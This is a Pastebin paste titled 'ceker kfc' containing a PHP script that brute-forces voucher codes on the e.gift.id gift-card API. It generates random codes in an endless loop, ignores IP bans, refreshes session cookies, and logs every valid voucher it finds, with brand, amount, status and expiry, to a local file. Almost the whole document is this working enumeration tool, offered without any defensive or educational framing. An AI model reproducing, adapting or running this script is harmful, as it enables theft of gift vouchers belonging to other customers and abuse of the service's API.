Advertisement
asril99

ceker kfc

Jan 23rd, 2019
688
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.24 KB | None | 0 0
  1.  
  2. <?php
  3. error_reporting(0);
  4. $o=-1;
  5. $arr = array("/","-","\\");
  6. function rStr($l){
  7. $data = "1234567890";
  8. $word = "";
  9. for($a=0;$a<$l;$a++){
  10. $word .= $data{rand(0,strlen($data)-1)};
  11. }
  12. return $word;
  13. }
  14.  
  15. function curl($url,$use=false){
  16. $ch = curl_init();
  17. curl_setopt($ch, CURLOPT_URL, $url);
  18. curl_setopt($ch, CURLOPT_HTTPHEADER, $h);
  19. if($use) curl_setopt($ch, CURLOPT_COOKIEJAR, "cookies.txt");
  20. curl_setopt($ch, CURLOPT_COOKIEFILE, "cookies.txt");
  21. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  22. $x = curl_exec($ch);
  23. curl_close($ch);
  24. return $x;
  25. }
  26.  
  27. function check(){
  28. $rand = rStr(8);
  29. $kode = "8346/$rand";
  30. $h = array();
  31. $h[] = "Host: e.gift.id";
  32. $h[] = "Connection: keep-alive";
  33. $h[] = "Accept: application/json, text/plain, */*";
  34. $h[] = "Origin: https://e.gift.id";
  35. $h[] = "Save-Data: on";
  36. $h[] = "User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.80 Mobile Safari/537.36";
  37. $h[] = "Content-Type: application/json;charset=UTF-8";
  38. $h[] = "Referer: https://e.gift.id/u/16281bqpoj662";
  39. $h[] = "Accept-Language: en-US,en;q=0.9,id;q=0.8";
  40. $x = curl("https://e.gift.id/api/egifts/detail/".$kode);
  41. return json_encode(array("https://e.gift.id/s/$kode",$x));
  42. }
  43. while($a<true){
  44. $c = json_decode(check(), true);
  45. if($c[1]=="Unauthorized" OR $c[1]=="Bad Request"){
  46. echo "\nAuth Die\n";
  47. break;
  48. }
  49. if(stripos($c[1],"banned")){
  50. echo "IP Banned\n";
  51. continue;
  52. }
  53. $ccd = "https://e.gift.id/u/".@json_decode($c[1],true)['body']['code'];
  54. $status = @json_decode($c[1], true)['body']['status'];
  55. $exp = explode("T",@json_decode($c[1], true)['body']['expiredAt'])[0];
  56. $amount = @json_decode($c[1],true)['body']['amount'];
  57. $brand = @json_decode($c[1],true)['body']['merchant']['brand'];
  58. if(!empty($brand)){
  59. $asww = $ccd." [$brand:$amount:$status:$exp]\n";
  60. echo $asww;
  61. $h=fopen("tokped.txt","a+");
  62. fwrite($h,$asww);
  63. fclose($h);
  64. }else
  65. if(@json_decode($c[1],true)['body']['title']=="EgiftNotFound"){
  66. }else{
  67. echo "Renew Cookie!\n";
  68. $cookie = curl("https://e.gift.id/u/837qsoynaz546?fbclid=asdasdasd",true);
  69. }
  70. echo "Checking ";
  71. $o+=1;
  72. if($o>2) $o=0;
  73. echo "[{$arr[$o]}] {$c[0]}\r";
  74. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement